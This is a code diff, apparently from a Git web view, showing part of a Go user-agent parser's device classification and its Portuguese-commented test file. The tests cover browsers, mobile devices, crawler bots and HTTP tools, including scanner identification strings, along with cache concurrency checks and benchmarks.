case "Android":
|
||||
if strings.Contains(s, "Mobile") || strings.Contains(s, "Dalvik/") || in.Browser == "Opera Mini" {
|
||||
return Mobile
|
||||
}
|
||||
if strings.Contains(s, "Android TV") || strings.Contains(s, "SMART-TV") {
|
||||
return Unknown
|
||||
}
|
||||
return Tablet
|
||||
case "iOS", "Windows Phone", "KaiOS", "BlackBerry":
|
||||
return Mobile
|
||||
case "Tizen", "webOS":
|
||||
return Unknown
|
||||
}
|
||||
if strings.Contains(s, "Mobile") || strings.Contains(s, "IEMobile") || in.Browser == "Opera Mini" {
|
||||
return Mobile
|
||||
}
|
||||
if strings.Contains(s, "SMART-TV") || strings.Contains(s, "HbbTV") || strings.Contains(s, "CrKey") || strings.Contains(s, "AppleTV") {
|
||||
return Unknown
|
||||
}
|
||||
switch in.OS {
|
||||
case "Windows", "macOS", "Linux", "ChromeOS", "FreeBSD", "OpenBSD", "NetBSD":
|
||||
return Desktop
|
||||
}
|
||||
if in.Browser != "" {
|
||||
return Desktop
|
||||
}
|
||||
return Unknown
|
||||
}
|
||||
@@ -0,0 +1,194 @@
|
||||
package ua
|
||||
|
||||
import (
|
||||
"strings"
|
||||
"sync"
|
||||
"testing"
|
||||
)
|
||||
|
||||
type tc struct {
|
||||
ua string
|
||||
browser, major string
|
||||
os, device string
|
||||
botName, toolName string
|
||||
}
|
||||
|
||||
func TestParseTable(t *testing.T) {
|
||||
cases := []tc{
|
||||
// produção
|
||||
{"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36", "Chrome", "89", "Windows", "desktop", "", ""},
|
||||
{"Mozilla/5.0", "", "", "", "unknown", "", ""},
|
||||
{"curl/8.14.1", "", "", "", "tool", "", "curl"},
|
||||
{"Uptime-Kuma/2.5.3", "", "", "", "tool", "", "Uptime-Kuma"},
|
||||
{"Apache/2.4.69 (Debian) PHP/8.3.36 (internal dummy connection)", "", "", "", "tool", "", "Apache"},
|
||||
// vazios e bizarros
|
||||
{"", "", "", "", "unknown", "", ""},
|
||||
{"-", "", "", "", "unknown", "", ""},
|
||||
{" ", "", "", "", "unknown", "", ""},
|
||||
{"asdfghjkl", "", "", "", "unknown", "", ""},
|
||||
{"Mozilla/5.0 (compatible)", "", "", "", "unknown", "", ""},
|
||||
// desktop
|
||||
{"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0", "Firefox", "128", "Windows", "desktop", "", ""},
|
||||
{"Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0", "Firefox", "115", "Linux", "desktop", "", ""},
|
||||
{"Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:121.0) Gecko/20100101 Firefox/121.0", "Firefox", "121", "Linux", "desktop", "", ""},
|
||||
{"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.2.1 Safari/605.1.15", "Safari", "17", "macOS", "desktop", "", ""},
|
||||
{"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "Chrome", "120", "macOS", "desktop", "", ""},
|
||||
{"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.2210.91", "Edge", "120", "Windows", "desktop", "", ""},
|
||||
{"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19582", "Edge", "18", "Windows", "desktop", "", ""},
|
||||
{"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 OPR/105.0.0.0", "Opera", "105", "Windows", "desktop", "", ""},
|
||||
{"Opera/9.80 (Windows NT 6.1; U; en) Presto/2.10.289 Version/12.02", "Opera", "12", "Windows", "desktop", "", ""},
|
||||
{"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36 Vivaldi/6.4.3160.47", "Vivaldi", "6", "Windows", "desktop", "", ""},
|
||||
{"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 YaBrowser/23.9.1.964 Yowser/2.5 Safari/537.36", "Yandex Browser", "23", "Windows", "desktop", "", ""},
|
||||
{"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Ubuntu Chromium/80.0.3987.163 Chrome/80.0.3987.163 Safari/537.36", "Chromium", "80", "Linux", "desktop", "", ""},
|
||||
{"Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36", "Chrome", "117", "ChromeOS", "desktop", "", ""},
|
||||
{"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36", "Chrome", "121", "Linux", "desktop", "", ""},
|
||||
{"Mozilla/5.0 (X11; FreeBSD amd64; rv:109.0) Gecko/20100101 Firefox/115.0", "Firefox", "115", "FreeBSD", "desktop", "", ""},
|
||||
{"Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2)", "Internet Explorer", "8", "Windows", "desktop", "", ""},
|
||||
{"Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; AS; rv:11.0) like Gecko", "Internet Explorer", "11", "Windows", "desktop", "", ""},
|
||||
{"Mozilla/5.0 (Windows NT 5.1; rv:52.0) Gecko/20100101 Firefox/52.0", "Firefox", "52", "Windows", "desktop", "", ""},
|
||||
{"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.74 Electron/23.1.1 Safari/537.36", "Electron", "23", "Windows", "desktop", "", ""},
|
||||
{"Lynx/2.9.0dev.10 libwww-FM/2.14 SSL-MM/1.4.1 GNUTLS/3.7.8", "Lynx", "2", "", "desktop", "", ""},
|
||||
// mobile
|
||||
{"Mozilla/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.2 Mobile/15E148 Safari/604.1", "Safari", "17", "iOS", "mobile", "", ""},
|
||||
{"Mozilla/5.0 (iPhone; CPU iPhone OS 17_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/120.0.6099.119 Mobile/15E148 Safari/604.1", "Chrome", "120", "iOS", "mobile", "", ""},
|
||||
{"Mozilla/5.0 (iPhone; CPU iPhone OS 17_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) FxiOS/120.0 Mobile/15E148 Safari/605.1.15", "Firefox", "120", "iOS", "mobile", "", ""},
|
||||
{"Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 EdgiOS/119.0.2151.64 Mobile/15E148 Safari/605.1.15", "Edge", "119", "iOS", "mobile", "", ""},
|
||||
{"Mozilla/5.0 (Linux; Android 13; Pixel 7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.144 Mobile Safari/537.36", "Chrome", "120", "Android", "mobile", "", ""},
|
||||
{"Mozilla/5.0 (Linux; Android 13; SAMSUNG SM-S918B) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/23.0 Chrome/115.0.0.0 Mobile Safari/537.36", "Samsung Internet", "23", "Android", "mobile", "", ""},
|
||||
{"Mozilla/5.0 (Android 13; Mobile; rv:120.0) Gecko/120.0 Firefox/120.0", "Firefox", "120", "Android", "mobile", "", ""},
|
||||
{"Mozilla/5.0 (Linux; Android 12; SM-G991B) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Mobile Safari/537.36 EdgA/119.0.2151.78", "Edge", "119", "Android", "mobile", "", ""},
|
||||
{"Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Mobile Safari/537.36 OPR/76.2.4027", "Opera", "76", "Android", "mobile", "", ""},
|
||||
{"Mozilla/5.0 (Linux; Android 11; moto g(10)) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Mobile Safari/537.36", "Chrome", "108", "Android", "mobile", "", ""},
|
||||
{"Mozilla/5.0 (Linux; Android 9; CUBOT_X30) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.88 Mobile Safari/537.36", "Chrome", "99", "Android", "mobile", "", ""},
|
||||
{"Mozilla/5.0 (Linux; Android 12; SM-A525M Build/SP1A.210812.016; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/120.0.6099.43 Mobile Safari/537.36", "Android WebView", "120", "Android", "mobile", "", ""},
|
||||
{"Mozilla/5.0 (Linux; Android 8.1.0; Mi A2 Build/OPM1) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/68.0.3440.91 Mobile Safari/537.36 UCBrowser/13.4.0.1306", "UC Browser", "13", "Android", "mobile", "", ""},
|
||||
{"Opera/9.80 (Android; Opera Mini/36.2.2254/119.132; U; id) Presto/2.12.423 Version/12.16", "Opera Mini", "36", "Android", "mobile", "", ""},
|
||||
{"Mozilla/5.0 (Windows Phone 10.0; Android 6.0.1; Microsoft; Lumia 950) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Mobile Safari/537.36 Edge/15.15254", "Edge", "15", "Windows Phone", "mobile", "", ""},
|
||||
{"Mozilla/5.0 (Linux; Android 11; Mobile) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Mobile Safari/537.36 DuckDuckGo/5", "DuckDuckGo", "5", "Android", "mobile", "", ""},
|
||||
{"Dalvik/2.1.0 (Linux; U; Android 9; SM-J730G Build/PPR1.180610.011)", "", "", "Android", "mobile", "", ""},
|
||||
{"Mozilla/5.0 (iPhone; CPU iPhone OS 16_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 Instagram 305.0.0.20.116", "Instagram", "305", "iOS", "mobile", "", ""},
|
||||
// tablet
|
||||
{"Mozilla/5.0 (iPad; CPU OS 17_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.2 Mobile/15E148 Safari/604.1", "Safari", "17", "iOS", "tablet", "", ""},
|
||||
{"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.1 Mobile/15E148 Safari/604.1", "Safari", "17", "iOS", "tablet", "", ""},
|
||||
{"Mozilla/5.0 (Linux; Android 13; SM-X700) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "Chrome", "120", "Android", "tablet", "", ""},
|
||||
{"Mozilla/5.0 (Linux; U; Android 4.0.3; en-us; KFTT Build/IML74K) AppleWebKit/537.36 (KHTML, like Gecko) Silk/3.68 like Chrome/39.0.2171.93 Safari/537.36", "Silk", "3", "Android", "tablet", "", ""},
|
||||
// TV
|
||||
{"Mozilla/5.0 (SMART-TV; LINUX; Tizen 6.0) AppleWebKit/537.36 (KHTML, like Gecko) 76.0.3809.146/6.0 TV Safari/537.36", "Safari", "", "Tizen", "unknown", "", ""},
|
||||
// bots bons
|
||||
{"Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)", "", "", "", "bot", "Googlebot", ""},
|
||||
{"Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.109 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)", "", "", "", "bot", "Googlebot", ""},
|
||||
{"Googlebot-Image/1.0", "", "", "", "bot", "Googlebot", ""},
|
||||
{"Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)", "", "", "", "bot", "Bingbot", ""},
|
||||
{"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.1; +https://openai.com/gptbot)", "", "", "", "bot", "GPTBot", ""},
|
||||
{"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "", "", "", "bot", "ClaudeBot", ""},
|
||||
{"Mozilla/5.0 (compatible; AhrefsBot/7.0; +http://ahrefs.com/robot/)", "", "", "", "bot", "AhrefsBot", ""},
|
||||
{"Mozilla/5.0 (compatible; SemrushBot/7~bl; +http://www.semrush.com/bot.html)", "", "", "", "bot", "SemrushBot", ""},
|
||||
{"Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)", "", "", "", "bot", "YandexBot", ""},
|
||||
{"Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)", "", "", "", "bot", "Baiduspider", ""},
|
||||
{"DuckDuckBot/1.1; (+http://duckduckgo.com/duckduckbot.html)", "", "", "", "bot", "DuckDuckBot", ""},
|
||||
{"facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)", "", "", "", "bot", "facebookexternalhit", ""},
|
||||
{"Twitterbot/1.0", "", "", "", "bot", "Twitterbot", ""},
|
||||
{"Mozilla/5.0 (compatible; PetalBot;+https://webmaster.petalsearch.com/site/petalbot)", "", "", "", "bot", "PetalBot", ""},
|
||||
{"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1.1 Safari/605.1.15 (Applebot/0.1; +http://www.apple.com/go/applebot)", "", "", "", "bot", "Applebot", ""},
|
||||
{"Mozilla/5.0 (compatible; MJ12bot/v1.4.8; http://mj12bot.com/)", "", "", "", "bot", "MJ12bot", ""},
|
||||
{"Mozilla/5.0 (compatible; Bytespider; spider-feedback@bytedance.com) AppleWebKit/537.36", "", "", "", "bot", "Bytespider", ""},
|
||||
{"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot", "", "", "", "bot", "PerplexityBot", ""},
|
||||
{"Mozilla/5.0 (compatible; Exampleinfobot/2.3; +https://example.org/bot)", "", "", "", "bot", "Exampleinfobot", ""},
|
||||
{"Mozilla/5.0 (compatible; NewSearchEngine/1.0; +https://newsearch.example/info)", "", "", "", "bot", "NewSearchEngine", ""},
|
||||
// ferramentas
|
||||
{"python-requests/2.31.0", "", "", "", "tool", "", "python-requests"},
|
||||
{"Go-http-client/1.1", "", "", "", "tool", "", "Go-http-client"},
|
||||
{"Go-http-client/2.0", "", "", "", "tool", "", "Go-http-client"},
|
||||
{"Wget/1.21.4", "", "", "", "tool", "", "Wget"},
|
||||
{"Mozilla/5.0 zgrab/0.x", "", "", "", "tool", "", "zgrab"},
|
||||
{"masscan/1.3 (https://github.com/robertdavidgraham/masscan)", "", "", "", "tool", "", "masscan"},
|
||||
{"Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)", "", "", "", "tool", "", "Nmap"},
|
||||
{"Nuclei - Open-source project (github.com/projectdiscovery/nuclei)", "", "", "", "tool", "", "Nuclei"},
|
||||
{"sqlmap/1.7.2#stable (https://sqlmap.org)", "", "", "", "tool", "", "sqlmap"},
|
||||
{"Mozilla/5.00 (Nikto/2.1.6) (Evasions:None) (Test:Port Check)", "", "", "", "tool", "", "Nikto"},
|
||||
{"Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)", "", "", "", "tool", "", "CensysInspect"},
|
||||
{"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/120.0.0.0 Safari/537.36", "Chrome", "120", "Windows", "tool", "", "HeadlessChrome"},
|
||||
{"Java/17.0.2", "", "", "", "tool", "", "Java"},
|
||||
{"okhttp/4.12.0", "", "", "", "tool", "", "okhttp"},
|
||||
{"libwww-perl/6.67", "", "", "", "tool", "", "libwww-perl"},
|
||||
{"PostmanRuntime/7.36.0", "", "", "", "tool", "", "Postman"},
|
||||
{"axios/1.6.2", "", "", "", "tool", "", "axios"},
|
||||
{"Hello World", "", "", "", "tool", "", "Hello World"},
|
||||
{"UptimeRobot/2.0; http://www.uptimerobot.com/", "", "", "", "tool", "", "UptimeRobot"},
|
||||
{"kube-probe/1.28", "", "", "", "tool", "", "kube-probe"},
|
||||
{"ELB-HealthChecker/2.0", "", "", "", "tool", "", "ELB-HealthChecker"},
|
||||
{"Python/3.11 aiohttp/3.9.1", "", "", "", "tool", "", "aiohttp"},
|
||||
{"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Chrome-Lighthouse", "Chrome", "120", "Linux", "tool", "", "Lighthouse"},
|
||||
}
|
||||
if len(cases) < 60 {
|
||||
t.Fatalf("poucos casos: %d", len(cases))
|
||||
}
|
||||
for _, c := range cases {
|
||||
got := Parse(c.ua)
|
||||
want := Info{Browser: c.browser, BrowserMajor: c.major, OS: c.os, Device: c.device,
|
||||
Bot: c.botName != "", BotName: c.botName, Tool: c.toolName}
|
||||
if got != want {
|
||||
t.Errorf("UA %q\n obtido: %+v\n esperado: %+v", c.ua, got, want)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestParseInvariants(t *testing.T) {
|
||||
for _, s := range []string{"", "x", "Mozilla/5.0", "\x00\xff", strings.Repeat("A", 100000), "Chrome/", "Version/", "MSIE "} {
|
||||
in := Parse(s)
|
||||
if in.Device == "" {
|
||||
t.Errorf("%q: device vazio", s)
|
||||
}
|
||||
if in.Bot != (in.BotName != "") {
|
||||
t.Errorf("%q: Bot e BotName inconsistentes", s)
|
||||
}
|
||||
if (in.Device == "tool") != (in.Tool != "") {
|
||||
t.Errorf("%q: Tool e Device inconsistentes", s)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestCacheBoundedConcurrent(t *testing.T) {
|
||||
var wg sync.WaitGroup
|
||||
for g := 0; g < 8; g++ {
|
||||
wg.Add(1)
|
||||
go func(g int) {
|
||||
defer wg.Done()
|
||||
for i := 0; i < 3000; i++ {
|
||||
ua := "Mozilla/5.0 (Windows NT 10.0) Chrome/" + strings.Repeat("1", 1+(i+g)%50) + " Safari/537.36"
|
||||
if Parse(ua).Browser != "Chrome" {
|
||||
t.Error("falhou")
|
||||
return
|
||||
}
|
||||
}
|
||||
}(g)
|
||||
}
|
||||
wg.Wait()
|
||||
cacheMu.RLock()
|
||||
n := len(cache)
|
||||
cacheMu.RUnlock()
|
||||
if n > cacheMax {
|
||||
t.Fatalf("cache cresceu além do limite: %d", n)
|
||||
}
|
||||
}
|
||||
|
||||
func BenchmarkParseCold(b *testing.B) {
|
||||
uas := []string{
|
||||
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36",
|
||||
"Mozilla/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.2 Mobile/15E148 Safari/604.1",
|
||||
"curl/8.14.1",
|
||||
"Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)",
|
||||
}
|
||||
b.ReportAllocs()
|
||||
for i := 0; i < b.N; i++ {
|
||||
parse(uas[i&3])
|
||||
}
|
||||
}
|
||||
|
||||
func BenchmarkParseCached(b *testing.B) {
|
||||
ua := "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36"
|
||||
b.ReportAllocs()
|
||||
for i := 0; i < b.N; i++ {
|
||||
Parse(ua)
|
||||
}
|
||||
}
|
||||
Reference in new issue
Block a user